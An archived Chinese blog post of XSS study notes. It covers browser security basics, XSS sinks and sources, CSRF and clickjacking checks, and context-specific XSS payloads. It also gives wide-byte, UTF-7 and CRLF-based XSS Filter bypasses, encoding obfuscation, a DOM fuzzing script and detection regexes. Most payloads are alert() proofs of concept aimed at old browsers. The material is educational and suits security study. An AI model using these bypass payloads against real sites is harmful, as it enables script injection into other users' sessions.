[旧文归档] XSS 笔记乱记

基础补充

HTML5提供了一个新的客户端存储机制:在浏览器端,使用SQLite数据库保存客服端数据,该机制允许使用JavaScript脚本操作SQL语句,从而与本地数据库进行交互。

同源策略规定:不同域的客户端脚本在没明确授权的情况下,不能读写对方的资源。

比如Ajax跨域访问,默认情况下是不允许跨域访问的,只有目标站点明确返回HTTP响应头:

Access-Control-Allow-Origin

HTTP请求头里的Referer只可读

DOM全程Document Object Model,文档对象模型,就是浏览器将HTML/XML这样的文档抽象成一个树形结构。这样方便JS进行读写操作。

URL编码方式有三类,escape、encodeURI、encodeURIComponent,对应的解码函数是:unescape、decodeURI、decodeURIComponent这三个编码函数是有差异的,甚至浏览器在自动URL编码中也存在差异。

HTTP响应中,charset=gbk

响应资源的类型与字符集。针对不同的资源类型会有不同的解析方式,这个会影响浏览器对响应体里的资源解析方式,因此可能带来安全问题。字符集也会影响浏览器的解码方式,同样可能带来安全问题。

HTML是由众多标签组成的,标签内还有对应的各种属性。这些标签可以不区分大小写,有的可以不需要闭合。属性的值可以用单引号,双引号,反单引号包围住,甚至不需要引号。多余的空格与tab毫不影响HTML的解析。

我们的很多数据都存在DOM树中,通过DOM树的操作可以非常容易地获取到我们的隐私数据。可能存储在以下位置:

HTML内容中;浏览器本地存储中,如Cookies;URL地址中。

当页面使用iframe方式嵌入一个页面时,父页与子页之间如何跨文档读写数据?

如果父页和子页是同域,他们可以使用contentWindow互相操作。

如果他们不同域,则必须遵守同源策略,但子页还是可以对父页的location值进行写操作,这样可以让父页重定向到其他网页,不过对location的操作仅仅只有写权限,而没有读权限,这样就不能获取到父页location url的内容否则有可能会造成隐私数据泄露,比如,有的网站将身份认证token存在于URL中。

AJAX的核心对象是XMLHttpRequest,一般简称为xhr。

AJAX是严格遵守同源策略的,新标准中来源域浏览器会自动带上Origin头,目标域要判断这个值,如果是自己预期的,则返回

Access-Control-Allow-Origin表示同意跨域,如果不这样做,浏览器会报权限错误。

这个就是CORS(Cross-Origin Resource Sharing)

子域cookie机制:设置cookie时,如果不指定domain的值,默认就是本域。可以指定domain为父级域,这样可以在不同的子域共享cookie。这个机制不允许设置cookie的domain为下一级子域或其他的外域。

路径cookie机制:设置cookie时,如果不指定path的值,默认就是目标页面的路径。

有什么办法跨路径读取cookie?可以通过跨iframe进行DOM操作。

所以,通过设置path不能防止cookie被盗。

HttpOnly机制:设置此标志后,客户端脚本无法读写cookie。

Secure Cookie机制:设置此标记的cookie仅在HTTPS层面安全传输。

本地cookie与内存cookie,

它与过期时间(expires字段),如果没设置过期时间,就是内存cookie,会随着浏览器的关闭从内存中消失,如果设置了过期时间是未来的某个时间点,那么这样的cookie就会以文本形式保存在操作系统本地。

E4X技术可以混淆JS代码,甚至绕开一些过滤规则。

js函数劫持,一定程度上可以自动化分析 DOM XSS,可以动态解密一些混淆的代码。

XSS有三类,反射型,存储型,DOM XSS。

DOM XSS的代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。

常见的输入点

  • document.URL

  • document.URLUnencoded

  • document.location(以及location的多个属性)

  • document.referer

  • window.location(以及location的多个属性)

  • window.name

  • xhr请求回来的数据

  • document.cookie

  • 表单项的值

常见的输出点

直接输出HTML内容,如:

  • document.write(...)
  • document.writeln(...)
  • document.body.innerHtml=...

直接修改DOM树(包括DHTML事件),如:

  • document.forms[0].action=...(以及其他集合,如一些对象的 src/href 属性等)
  • document.attachEvent(...)
  • document.create...(...)
  • document.execCommand(...)
  • document.body. ...(直接通过body对象访问 DOM)
  • windows.attachEvent(...)

替换 document URL,如:

  • document.location=...(以及直接赋值给 location 的href,host,hostname属性)
  • document.location.hostname=...
  • document.location.replace(...)
  • document.location.assign(...)
  • document.URL=...
  • window.navigate(...)

打开或修改新窗口,如:

  • document.open(...)
  • window.open(...)
  • window.location.href=...(以及直接赋值给location的 href,host,hostname 属性)

直接执行脚本,如:

  • eval(...)
  • window.execScript(...)
  • window.setInterval(...)
  • window.setTimeout(...)

CSRF跨站请求伪造,攻击过程有三个关键点,跨域发出了一个GET请求、可以无JS参与、请求是身份认证后的。

由客户端HTML标签等发出的跨域GET请求被认为是合法的,不在同源策略的限制中但是这些请求发出后并没能力得到目标页面响应的数据内容。

可以有JS参与,也可以没有。

对于POST请求,可以通过表单提交实现。

按照请求类型来区分,就是GET型与POST型CSRF。

按照攻击方式分类,就是HTML CSRF,JSON HiJacking攻击和Flash CSRF攻击等。

HTML中能够设置 src/href 等链接地址的标签都可以发起一个GET请求。

界面操作劫持是一种基于视觉欺骗的Web会话劫持攻击,通过在网页的可见输入控件上覆盖一个不可见的框(iframe),使用户执行其中的恶意劫持代码。

主要分为三种,点击劫持,拖放劫持,触屏劫持。

漏洞挖掘

CSRF漏洞挖掘只要确认以下内容即可。

  • 目标表单是否有有效的token随机串。
  • 目标表单是否有验证码。
  • 目标是否判断了Referer来源。
  • 网站根目录下crossdomain.xml中的allow-access-from domain是否是通配符。
  • 目标JSON数据似乎可以自定义callback函数等。

界面操作劫持的漏洞挖掘只要确认以下内容即可。

  • 目标的HTTP响应头是否设置好了X-Frame-Options字段。
  • 目标是否有JavaScript的Frame Busting机制。
  • 用iframe嵌入目标网站试试,若成功,则说明漏洞存在。

普通XSS漏洞自动化挖掘思路

假设服务端不对用户输入与相应输出做任何编码与过滤

输出位置:

1.HTML标签之间

最普通的场景出现在 <div id="body">[输出]</div> ,可以直接提交:

<script>alert(1)</script>

就可以触发XSS了,但是在下面这些标签中,则不会

<title></title>
<textarea></textarea>
<xmp></xmp>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>
<plaintext></plaintext>

面对这个位置,我们需要先闭合标签

除了这些,还有两类特殊的标签 <script><style>,它们本身是不能嵌套标签的,而且payload构造情况会更灵活,除了闭合对应的标签外,还可以利用它们自身可执行脚本的性质来构造特殊的payload。

2.HTML标签之内

1)输出在value属性内

最普通的场景出现在<input type="text" value="[输出]" /> 位置,要触发XSS,有以下两种方法:

  • 提交payload:" onmouseover=alert(1) x=" ,这种是闭合属性,然后使用on事件来触发脚本。
  • 提交payload:"><script>alert(1)</script> ,这种是闭合属性后又闭合标签,然后直接执行脚本。

如果在下面的场景:<input type="hidden" value="[输出]" /> ,一般情况下,此时我们只能闭合 input 标签,否则由于hidden特性导致触发不了 XSS

如果在下面的场景:<input value="[输出]" type="hidden"/> ,和上面的仅仅是属性顺序不同,我们应该使用如下payload:

1" onmouseover=alert(1) type="text

这样成功率更高,更有效率,而且将输出变为一个标准的输入框,鼠标移上去就可以触发XSS。

同样的,遇到disabled属性也是一样的方法。

2)输出在 src/href/action 属性内

<a href="[输出]">click me</a> ,我们除了各种闭合之外,还可以:

javascript:alert(1)//
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

前提是我们提交的payload必须出现在这些属性值的开头部分(data: 协议的必须作为整个属性值出现)

对于第一个 javascript: 伪协议,所有的浏览器都支持 ,不过有些差异。

对于第二个 data: 协议,仅IE浏览器不支持。

对于第一个,如果过滤了 / ,我们可以利用JavaScript逻辑与算数运算符,因为JavaScript是弱类型语言。

比如:javascript:alert(1)-

输出后点击同样触发,只不过浏览器会报错,这样的错误是可以屏蔽的:window.onerror=function(){return true;}

3)输出在 on* 事件内

由于 on* 事件内是可以执行 JavaScript 脚本的。根据不同场景,我们需要弄清楚我们的输出是作为整个 on 事件的值出现,还是以某个函数的参数值出现,这个函数是什么等。不同场景可能需要不同的闭合策略,最终目标都是让我们的脚本能顺利执行。

4)输出在 style 属性内

现在在 style 中执行脚本已经是 IE 浏览器独有的特性。对于 IE 来说,在标签的 style 属性中只要能注入 expression 关键词,并进行适当的闭合,我们就可以认为目标存在XSS,比如注入:

1;xss:expression(if(!windows.x){alert(1);window.x=1;})

得到输出:

<a href="#" style=“width:1;xss:expression(if(!windows.x){alert(1);window.x=1;})">click me</a>

5)属性引用符号

HTML是一个很不严格的标记语言,属性值可以不用引号,或者使用单引号,双引号,反单引号(仅IE浏览器支持)进行引用。如:

<a href=`javascript:alert(1)-html`>click me</a>

这样导致我们的闭合机制需要更灵活,以更大地提高检出率。因为如果同时提交',",` 三种引号进行闭合,可能会因为网站SQL注入防御屏蔽了单引号导致请求失败,而目标输出又是双引号进行属性值引用的。所以,对于XSS漏洞挖掘工具来说,需要具备识别闭合引号的有无及其类型,并提交针对性的闭合 payload。

3.成为 JavaScript 代码的值

我们的payload可以是

</script><script>alert(1)</script>
";alert(1)//

与其他一样,这个地方就是闭合标签,或闭合变量值的引用。

4.请求中的玄机

在漏洞挖掘中,我们可以发送“探子请求”。在真正的payload攻击请求之前,总会发起一次无危害(不包含任何特殊符号的请求),主要有以下两个目的:

  • 目标参数值是否会出现在响应上,如果不出现,就完全没必要进行后续的 payload 请求与分析
  • 目标参数值出现在 HTML 的哪个部分。

这个“探子”,一般是26个字母+10个数字组合后,取8位左右的随机字符串,保证在响应的HTML中不会与已有的字符串冲突就行。知道探子的结构后,有利于我们进行定位,尤其是对于输入点有多组参数时,可以大大提高挖掘的效率。

5.关于存储型XSS挖掘

对于存储型的输出,一般位于:

  • 表单提交后跳转到的页面有可能是输出点。
  • 表单所在的页面有可能就是输出点。
  • 表单提交后不见了,需要在整个网站去找目标输出点,这个需要爬虫对网站进行再次爬取分析,当然这个过程是可以优化的,比如使用页面缓存技术,判断目标页面是否变动,一般发送 Last-Modified 与 Etag 头部,根据响应状态码进行判断。

DOM渲染

HTML与JavaScript自解码机制

关于这个自解码机制,我们直接举一个例子:

<input type="button" id="exec_btn" value="exec" onclick="document.write('<img src=@ onerror=alert(123) />')" />

我们假设 document.write 里的值是用户可控的输入,点击后,document.write 出现一段 img HTML,onerror里的 JavaScript 会执行。

如果我们现在有一段 HtmlEncode 函数如下:

<script>
  function HtmlEncode(str){
    var s = "";
    if (str.length == 0) return "";
    s = str.replace(/&/g,"&amp;");
    s = s.replace(/</g,"&lt;");
    s = s.replace(/>/g,"&gt;");
    s = s.replace(/\"/g,"&quot;");
    return s;
  }
</script>
<input type="button" id="exec_btn" value="exec" onclick="document.write(HtmlEncode('<img src=@ onerror=alert(123) />'))" />

我们知道编码之后的结果是

&lt;img src=@ onerror=alert(123) /&gt;

这样点击后会执行 alert(123) 吗,那下面这个呢?

<input type="button" id="exec_btn" value="exec" onclick="document.write('&lt;img src=@ onerror=alert(123) /&gt;')" />

在两个例子中,document.write 的值似乎是一样的。实际结果是第一个例子点击不会执行alert(123),而是在页面上完整的打印,而第二个例子会执行 alert(123)。

实际上,在点击第二个例子时,document.write 实际上是<img src=@ onerror=alert(123) />

原因如下:

onclick 里的这段 JavaScript 出现在 HTML 标签内,意味着这里的 JavaScript 可以进行 HTML 形式的编码,这种编码有以下两种:

  • 进制编码:&#xH;(十六进制格式)、&#D;(十进制格式),最后的分号可以省略
  • HTML实体编码;就是上面的HtmlEncode

在 JavaScript 执行之前,HTML 形式的编码会自动解码。所以第二个例子与最初的例子是一样的结果。

那如果用户输入在<script> 标签里的 JavaScript 中,情况如下:

<input type="button" id="exec_btn" value="exec" />
<script>
  function $(id){return document.getElementById(id);};
  $('exec_btn').onclick = function(){
    document.write('<img src=@ onerror=alert(123) />');
    //document.write('&lt;img src=@ onerror=alert(123) /&gt;');
  }
</script>

这样是可以执行 alert(123) 的,如果用户输入的是下面的内容:

&lt;img src=@ onerror=alert(123) /&gt;

则不会,因为用户输入的这段内容上下文环境是 JavaScript,不是HTML,此时用户输入的这段内容要遵守的是 JavaScript 法则,即 JavaScript 编码,具体有如下几种形式:

  • Unicode形式:\uH(十六进制)
  • 普通十六进制:\xH
  • 纯转义:\'、\"、\<、\>这样在特殊字符之前加 \ 进行转义

在 JavaScript 执行之前,这样的编码会自动解码。

具备 HtmlEncode 功能的标签

如下标签:

<title></title>
<textarea></textarea>
<iframe></iframe>
<noscript></noscript>
<noframes></noframes>

<xmp> 没有 HtmlEncode 功能,<plaintext> 在 Firefox 与 Chrome 下有差异,Firefox下不会进行 HtmlEncode 编码,而 Chrome 下会,这样的差异有时候会导致安全问题。

URL编码差异

浏览器在处理用户发起请求时的 urlencode 策略存在差异,导致在某些场景中出现 XSS 漏洞。

DOM修正式渲染

我们经常通过网页源码功能来看所谓的”HTML源码“。这样看到的实际上是静态的。我们研究 DOM XSS 接触的必须是动态结果。

我们可以使用 F12 打开对应的调试工具,也可以执行以下 JavaScript 语句进行查看:

document.documentElement.innerHTML;

通过这些,我们可以发现这些浏览器在 DOM 渲染上进行各种修正,不同的浏览器进行的这种修正可能存在一些差异。这种修正式的渲染可以用于绕过浏览器的 XSS Filter

“修正”功能不仅是浏览器的性质,其实在很多过滤器里都会有,有的人把这个过程叫做DOM重构。修正包括如下内容:标签正确闭合,属性正确闭合。

一种DOM fuzzing技巧

python代码:

def get_template(template_file):
    """
    获取 fuzzing 的模板文件内容
    :param template_file:
    :return:
    """
    f = open(template_file)
    template = f.read()
    f.close()
    return template


def set_result(result_file, result):
    """
    生成 fuzzing 结果文件
    :param result_file:
    :param result:
    :return:
    """
    f = open(result_file, 'w')
    f.write(result)
    f.close()


if __name__ == '__main__':
    template = get_template("fuzz_xss_0.htm")
    fuzz_area_0 = template.find('<fuzz>')
    fuzz_area_1 = template.find('</fuzz>')
    fuzz_area = template[fuzz_area_0+6: fuzz_area_1].strip()
    # chars = [chr(47), chr(32), chr(10)]
    chars = []
    for i in range(255):  # ASCII码转换为字符
        if i != 62:
            chars.append(chr(i))

    fuzz_area_result = ''
    for c in chars:  # 遍历这些字符,逐一生成fuzzing内容
        fuzz_area_r = fuzz_area.replace('{{char}}', c)
        fuzz_area_r = fuzz_area_r.replace('{{id}}', str(ord(c)))
        fuzz_area_result += fuzz_area_r + '\n'
        print(fuzz_area_r)
    result = template.replace(fuzz_area, fuzz_area_result)
    set_result('r.htm', result)

模板:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="gbk">
    <title>Fuzz XSS 0</title>
</head>

<body>
<script>
    function $(x) {return document.getElementById(x);}
    function f(id) {
        $('result').innerHTML += id+'<br />';
    }
</script>

<h3>Fuzzing Result:</h3>
<script>
    {{id}}:<{{char}}script>f("{{id}}")</script>
</xmp>

<div id="result"></div><!-- fuzzing 成功的字符ASCII码存储在这 -->

<br />

<h3>Fuzzing...</h3>
<!-- 以下是待替换的模板标签内容 -->
<fuzz>
    {{id}}:<{{char}}script>f("{{id}}")</script><br />
</fuzz>>
</body>
</html>

就这两个简单的文件,fuzz_xss_0.py 会调用 fuzz_xss_0.htm 这个 fuzzing 模板去按需生成结果文件 r.htm,然后用浏览器打开r.htm,如果<fuzz></fuzz> 里的某项可以被浏览器正确执行,那么就会触发 f 函数, f 函数会往 id 为 result 的 <div> 标签里写模糊测试成功的字符串 ASCII码。

DOM XSS挖掘

首先就要弄清楚输入点和输出点是什么

静态方法

静态方法如果想要工具化,可以使用下面这个链接提到的正则表达式来匹配:

输入点匹配的正则表达式如下

/(location\s*[\[.])|([.\[]\s*["']?\s*(arguments|dialogArguments|innerHTML|write(ln)?|open(Dialog)?|showModalDialog|cookie|URL|documentURI|baseURI|referrer|name|opener|parent|top|content|self|frames)\W)|(localStorage|sessionStorage|Database)/

输出点匹配的正则表达式如下

/((src|href|data|location|code|value|action)\s*["'\]]*\s*\+?\s*=)|((replace|assign|navigate|getResponseHeader|open(Dialog)?|showModalDialog|eval|evaluate|execCommand|execScript|setTimeout|setInterval)\s*["'\]]*\s*\()/

一旦发现页面存在可以特征,就进行人工分析,这是静态方法的代价。

动态方法

在模糊测试提交的内容都有如下一段代码:

document.write('d0m'+'x55')

如果这段代码顺利执行了,当前DOM树就会存在 d0mx55 文本节点,后续的检测工作只要判断是否存在这个文本节点即可。

if(document.documentElement.innerHTML.indexOf('d0mx55')!=-1){
    alert('found dom xss');
};

以DOM树的改变为判断依据,简单且准确,不过同样无法避免那些逻辑判断上导致的漏报。

字符集缺陷导致的XSS

基本概念

1.字符与字节

肉眼看到的一个文字或符号单元就是一个字符(包括乱码),一个字符可能对应 1~n 字节,1字节为 8 位,每一位都是 0 或 1 。

2.字符集

一个字符对应 1~n 字节是由字符集与编码决定的。比如 ASCII 字符集就是一个字符对应 1 字节,不过 1 字节只用了 7 位,最高位用于其他目的,所以 ASCII 字符集共有 2 的 7 次方(128)个字符。

3.字符集编码

每种字符集大都对应一种编码方式,常见的是 UTF-8 与 UTF-7

宽字节编码带来的安全问题

GB2312、GBK、GB18030、BIG5、Shift_JIS 等都是常说的宽字节,实际上只有两字节。

宽字节带来的安全问题主要是吃 ASCII 字符(一字节)的现象。

比如,在下面这个 PHP 示例,在 magic_quotes_gpc = On 的情况下,如何触发XSS?

<?php header("Content-Type:text/html;charset=GBK"); ?>
<head>
<title> gb xss </title>
</head>
<script>
a = "<?php echo $_GET['x'];?>";
</script>

首先,我们想到,需要闭合双引号

gb.php?x=1";alert(1)//

双引号会被转义成 \" ,导致闭合失败:

a="1\";alert(1)//";

由于这个网页头部响应指明了这是GBK编码,GBK编码第一字节(高字节)的范围是 0x81~0xFE,第二字节(低字节)的范围是 0x40~0x7E 与 0x80~0xFE,这样的十六进制表示。

而\符号的十六进制表示为 0x5C,正好在 GBK 的低字节中,如果之前有一个高字节,那么正好会被组成一个合法字符,于是提交如下:

gb.php?x=1%81";alert(1)//

双引号会继续被转义成 \" ,最终如下:

a="1[0x81]\";alert(1)//";

[0x81]\ 组成了一个合法字符,于是之后的双引号就会产生闭合。就成功触发了XSS。

这些宽字节编码的高低位范围都不太相同。

有一点要注意,GB2312 是被GBK兼容的,它的高位范围是 0xA1~0xF7 ,低位范围是 0xA1~0xFE (0x5C 不在范围内),把上面的 PHP 代码的 GBK 改为 GB2312,在浏览器中处理行为同 GBK。

UTF-7 问题

UTF-7是 Unicode字符集的一种编码方式,不过并非是标准推荐的,现在仅IE浏览器还支持 UTF-7 的解析。

IE浏览器历史上出现以下好几类 UTF-7 XSS

1.自动选择 UTF-7 编码

在IE 6/7 时代,如果没声明 HTTP 响应头字符集编码方式或声明错误:

Content-Type: text/html;charset=utf-8 //声明字符集编码方式
Content-Type: text/html  // 未声明字符集编码方式
Content-Type: text/html;charset=uf-8 //声明错误的字符集编码方式

同时,<meta http-equiv> 未指定 charset 或指定错误,那么 IE 浏览器会判断响应内容中是否出现 UTF-7 编码的字符串,如果有当前页面会自动选择 UTF-7 编码方式,如下:

<title> utf-7 xss </title>
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
<div>123</div>

2.通过 iframe 方式调用外部 UTF-7 编码的HTML 文件

父页通过 Content-Type 或 <meta> 标签来声明 UTF-7 编码,然后使用 <iframe> 标签嵌入外部 UTF-7 编码的HTML 文件,代码如下:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-7">
<body>
<iframe src=" utf-71.html"/>
</body>
</html>

utf-71.html 的代码如下:

<html>
+ADw-script+AD4-alert('XSS')+ADw-/script+AD4-
</html>

不过现在 IE 限制了 <iframe> 只能嵌入同域内的 UTF-7 编码文件,虽然曾经有通过重定向跳转到外域的方式绕过这个限制。

通过<link>标签嵌入外部 UTF-7 编码的 CSS文件,此时父页不需要声明 UTF-7 编码方式,代码如下:

<html>
<title>123</title>
<link rel="stylesheet" href="http://www.evil.com/utf7.css" type="text/css" />
</html>

utf7.css可以在外域,代码如下:

@charset "utf-7"
body+AHs-x:expression(if(!window.x)+AHs-alert(1)+ADs-window.x=1+ADsAfQ-)+AH0-

4.通过指定 BOM 文件头

BOM 的全称为 Byte Order Mark,即标记字节顺序码,只出现在 Unicode 字符集中,BOM 出现在文件的最开始位置,软件通过识别文件的 BOM 来判断它的 Unicode 字符集编码方式,常见的BOM头如下表所示:

字符集编码 BOM
UTF-8 EF BB BF 可以不要
UTF-16LE FF FE
UTF-16BE FE FF
UTF-32LE FF FE 00 00
UTF-32BE 00 00 FE FF
UTF-7 2B 2F 76 和1字节以下:[38|39|2B|2F]
这 4 字节的组合翻译为对应的字符是:+/v8、+/v9、+/v+、+/v/

其中,LE 是 Little Endian,指低位字节在前,高位字节在后;BE是Big Endian,指高位字节在前,低位字节在后。

相关解析软件如果发现 BOM 是 +/v8 ,就认为目标文档是 UTF-7 编码。

在实际的攻击场景中,能控制目标网页开头部分的功能如下:

  • 用户自定义的 CSS 样式文件
  • JSON CallBack 类型的链接

绕过浏览器XSS Filter

IE 和 Chrome 两大浏览器拥有 XSS Filter机制,主要针对反射型 XSS,大体上采用的都是一种启发式的检测,根据用户提交的参数判断是否是潜在的XSS特征,并重新渲染响应内容保证潜在的 XSS 特征不会触发。

响应头 CRLF 注入绕过

如果目标网页存在响应头部 CRLF 注入,在 HTTP 响应头注入回车换行符,就可以注入头部:

X-XSS-Protection:0

用于关闭 XSS Filter机制,这也是一种绕过方式。

例如:

http://x.com/xx.action?id=%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0ax%3Cscript&3Ealert(1);%3C/script%3Ey

针对同域的白名单

针对同域的白名单机制不是绕过,而是浏览器的性质。IE 和 Chrome 不太一样。

1.IE的同域白名单

IE会判断Referer来源是否是本域,如果是,则 XSS Filter不生效。

如果直接请求xss.php?x=<script>alert(1)</script> 会被 IE XSS Filter 拦截下来,如果是通过同域内的 <a> 链接点击过来的,或者 <iframe> 直接嵌入,由于Referer 来源是同域,此时 XSS Filter 不生效,代码如下:

<a href="xss.php?x=<script>alert(1)</script>" target="_blank">xxxx</a>
<iframe src=xss.php?x=%3Cscript%3Ealert(1)%3C/script%3E></iframe>

2.Chrome的同域白名单

chrome的同域白名单机制和 IE 完全不一样,用法如下:

xss.php?<scriptsrc=alert.js></script>

如果<script> 嵌入同域内的 js 文件,XSS Filter就不会防御,这个受 CSP 策略的影响。

场景依赖性高的绕过

1.场景一

我们发现一个反射型XSS的参数值出现在JavaScript里,格式如下:

<script>
var a='[userinput]';
...
</script>

提交xxx.php?userinput=';alert(123)// 得到如下语句:

<script>
var a='';alert(123)//';
...
</script>

对于这样的场景,Chrome 的XSS Filter就无法有效地防御了,IE却可以

2.场景二

如果PHP开启的GPC 魔法引号,那么下面这样的URL可以绕过 IE XSS Filter:

xss.php?x=<script %00%00%00>alert(1)</script>

xss.php代码如下:

<?php echo $_GET['x'] ?>

原因是:%00 会被 PHP 转义为 \0 ,IE XSS Filter就因此被绕过,最终的输出结果是:

<script \0\0\0>alert(1)</script>

除此之外,还有以下一些特性:

  • IE 对 DOM XSS没有防御策略,但是 Chrome 就有。
  • Chrome 还支持注入 data: 协议的 XSS,不过 data: 协议是空白域,不会对目标造成大的影响。

混淆的代码

浏览器的进制常识

浏览器中常用的进制混淆有八进制、十进制、十六进制。

十进制在 HTML 中可使用 &#56;来表示,用 & 和 # 作为前缀,中间为10进制数字,使用半角分号(;)作为后缀,其中后缀也可以没有。

十六进制使用 &#x5a; 来表示,比十进制多了个x,进制码中多了 a~f 这6个字符来表示 10~15,其中后缀也可以没有,而且x 和 a~f 这几个字符大小写不敏感。

在 CSS 的属性中,我们也只能用到十进制和十六进制, CSS兼容 HTML 中的进制表示形式,除此之外,十六进制还可以使用 \6c 的形式表示,即使用斜线作为进制数值前缀。

在 JavaScript 中可以直接通过 eval 执行的字符串有八进制和十六进制两种编码方式,其中八进制用\56表示,十六进制用\x5c表示。需要注意的是,这两种表示方式不能够直接给多字节字符编码(如汉字、韩文等),如果代码中应用了汉字并且需要进行进制编码,那么只能进行十六进制 Unicode 编码,其表示形式为\u4ee3\u7801

除此之外,我们也会遇到其他一些编码形式,如URIEncode,以及用进制数值表示 IP 的格式。

JavaScript 自身带有两个函数可以将代码转化为进制字符:

  • char.toString(jinzhi) char为需要编码的单字,jinzhi为需要编码的进制
  • String.fromCharCode(code,jinzhi) code为需要进制解码的数字,jinzhi为当前数字的进制

1.HTML进制用法

举个例子,HTML代码如下:

<img src=http://www.baidu.com/img/logo.png>

转换为十进制:

<img src=&#104;&#116;&#116;&#112;&#058;&#047;&#047;&#119;&#119;&#119;&#046;&#098;&#097;&#105;&#100;&#117;&#046;&#099;&#111;&#109;&#047;&#105;&#109;&#103;&#047;&#108;&#111;&#103;&#111;&#046;&#112;&#110;&#103;>

转换为十六进制:

<img src=&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x77;&#x77;&#x77;&#x2e;&#x62;&#x61;&#x69;&#x64;&#x75;&#x2e;&#x63;&#x6f;&#x6d;&#x2f;&#x69;&#x6d;&#x67;&#x2f;&#x6c;&#x6f;&#x67;&#x6f;&#x2e;&#x70;&#x6e;&#x67;>

当浏览器在运行这两行代码时,两张图片依然能够显示,就说明浏览器自身已经对上述编码做了自动解码。

HTML自编码中,十进制编码设定了其最小位数为3位,所以不够3位的数值用 0 补充,这在实际的代码混淆中很有用,它可以用来绕过一些站点的过滤器,不过不同的浏览器对所能支持的位数有一定的要求,如 IE 只能支持最大 7 位数值,而对 Chrome 来说,设置位数无限制。

另外,由于进制方式对字母的大小写不敏感,后缀";"也不是必需的,并且我们也可以将常规字符、十进制编码和十六进制编码字符混合,所以可以将代码混淆成如下形式:它依然是有效的:

<img src=&#0104;&#0116;&#0116&#0112;&#X00003A;&#x00002F&#x00002f;baidu.com/&#x69;&#x6d;&#X67&#x2f;logo.png>

2.CSS进制用法

例子如下:

<div style="background:red;">1</div>

对其进行十进制编码和十六进制编码的效果分别如下:

<div style="&#98;&#97;&#99;&#107;&#103;&#114;&#111;&#117;&#110;&#100;&#58;&#114;&#101;&#100;&#59;">1</div>
<div style="\62\61\63\6b\67\72\6f\75\6e\64:\0072\0065\0064;">1</div>
<div style="&#x62;&#x61;&#x63;&#x6b;&#x67;&#x72;&#x6f;&#x75;&#x6e;&#x64;&#x3a;&#x72;&#x65;&#x64;&#x3b;">1</div>

这里需要注意的是,如果使用 \62\61 形式进行十六进制编码,那么要注意将 CSS属性名和属性值之间的冒号留出来,否则代码将不会解析。同样,我们可以把以上三种编码方式混合到一个字符串中,代码依旧可以正确执行。

3.JavaScript进制用法

假设原始语句如下:

<script>eval("alert('你好')");</script>

其八进制和十六进制的代码如下:

<script>eval("\141\154\145\162\164\050\047\u4f60\u597d\47\51");</script>
<script>eval("\x61\x6c\x65\x72\x74\x28\x27\u4f60\u597d\x27\x29");</script>

其中,中文部分一定要使用 Unicode 的形式,即 \u 加上汉字的十六进制编码。

另外,虽然十进制不能直接通过eval来执行,但可以使用 String.fromCharCode 函数先对数值进行解码,然后传递给eval执行

<script>eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41,59));</script>

浏览器的编码常识

在 JavaScript 中,有三套编/解码的函数,分别为:

  • escape/unescape

  • encodeURI/decodeURI

  • encodeURIComponent/decodeURIComponent

我们对字符串 <Hello+World> 用三种加密方式分别进行加密的结果如下所示:

加密方式 加密结果
Escape %3CHello+World%3E
encodeURI %3CHello+World%3E
encodeURIComponent %3CHello%2BWorld%3E

三种加密的方法有少许区别:

escape不编码的字符有69个:

* + - . / @ _ 0~9 a~z A~Z 而且escape对0~255以外的unicode值进行编码时输出%u****格式

encodeURI不编码的字符有82个:

! # $ & ' ( ) * + , - . / : ; = ? @ _ ~ 0~9 a~z A~Z

encodeURIComponent不编码的字符有71个:

! ' ( ) * - . _ ~ 0~9 a~z A~Z

另外,我们可以编写一个函数来使 escape可以对所有的字符进行编码,代码如下

var ExEscape = function(str){
  var _a,_b;
  var _c="";
  for (var i = 0; i < str.length; i++) {
    _a = str.charCodeAt(i);
    _b = _a < 256 ? "%" : "%u"; //u不可以大写
    _b = _a < 16 ? "%0" : _b;
    _c += _b + _a.toString(16).toUpperCase(); //大小写皆可.toLowerCase()
  }
  return _c;
}

这样我们可以使用eval(unescape(%61%6C%65%72%74%28%31%29)); 的形式来绕过过滤器对某些关键词的过滤。

HTML 中的代码注入技巧

完整的 HTML 代码分为:标签名、属性名、属性值、文本、注释。

其中,属性可以是 JavaScript 事件、资源链接或 data 对象。

1.标签

HTML标签不区分大小写

<script></script>
<SCRIPT></ScRiPt>

由于现代浏览器对 XHTML 的支持,使得我们可以在某些浏览器的某些版本中插入 XML 代码、SVG代码或未知标签。如在 IE 6下可以构造如下代码:

<XSS STYLE="xss:expression(alert('XSS'))">

我们可以通过 fuzzing 的方式确认究竟哪些标签可用,哪些标签不可用。通常情况下,黑名单的过滤器总会留下漏网之鱼。例如:

<isindex PROMPT='click picture' action="javascript:alert(1)" src="http://www.baidu.com/img/logo.png" style="width:290;height:171" type="image">
<BGSOUND SRC="javascript:alert('XSS');">
<META HTTP-EQUIV='refresh' CONTENT="0;url=javascript:alert('XSS');">

有些过滤器的 HTML Parser 很强大,会判断当前代码段是否存在于注释中,如果是注释,则忽略,这样做的目的是为了维持用户数据的最大完整性,但是却给了我们可乘之机。如有些过滤器的判断注释的方法为:<!--.*--> ,但注释可以这样写:bbb<!-- aaa <!-- aaa-->ccc -->bbb ,这样 “ccc” 代码就暴露出来可以执行了。

而与之相反,有些HTML Parser不关心是否有注释,只关心 HTML标签、属性、属性值是否有问题,如标签是否是<script> ,属性是否是 JavaScript 事件,属性值是否是伪协议等,但是由于注释优先级较高,我们可以构造以下一段代码:

<!--<a href="--><img src=x onerror=alert(1)//">test</a>

扫描器忽略了 HTML 注释后,会认为下面这段是一个完整的 HTML语句

<a href="--><img src=x onerror=alert(1)//">test</a>

还有一种特殊的注释:IE HTML条件控制语句

<!--[if IE]>所有的IE可识别<![endif]-->
<!--[if IE 6]>仅IE6可识别<![endif]-->
<!--[if lt IE 6]>IE6 以及 IE6 以下版本可识别<![endif]-->
<!--[if gte IE 6]>IE6 以及 IE6 以上版本可识别<![endif]-->

这是IE独有的,执行方式如下:

<!--[if]><script>alert(1)</script -->
<!--[if]><img src=x onerror=alert(1)//]> -->

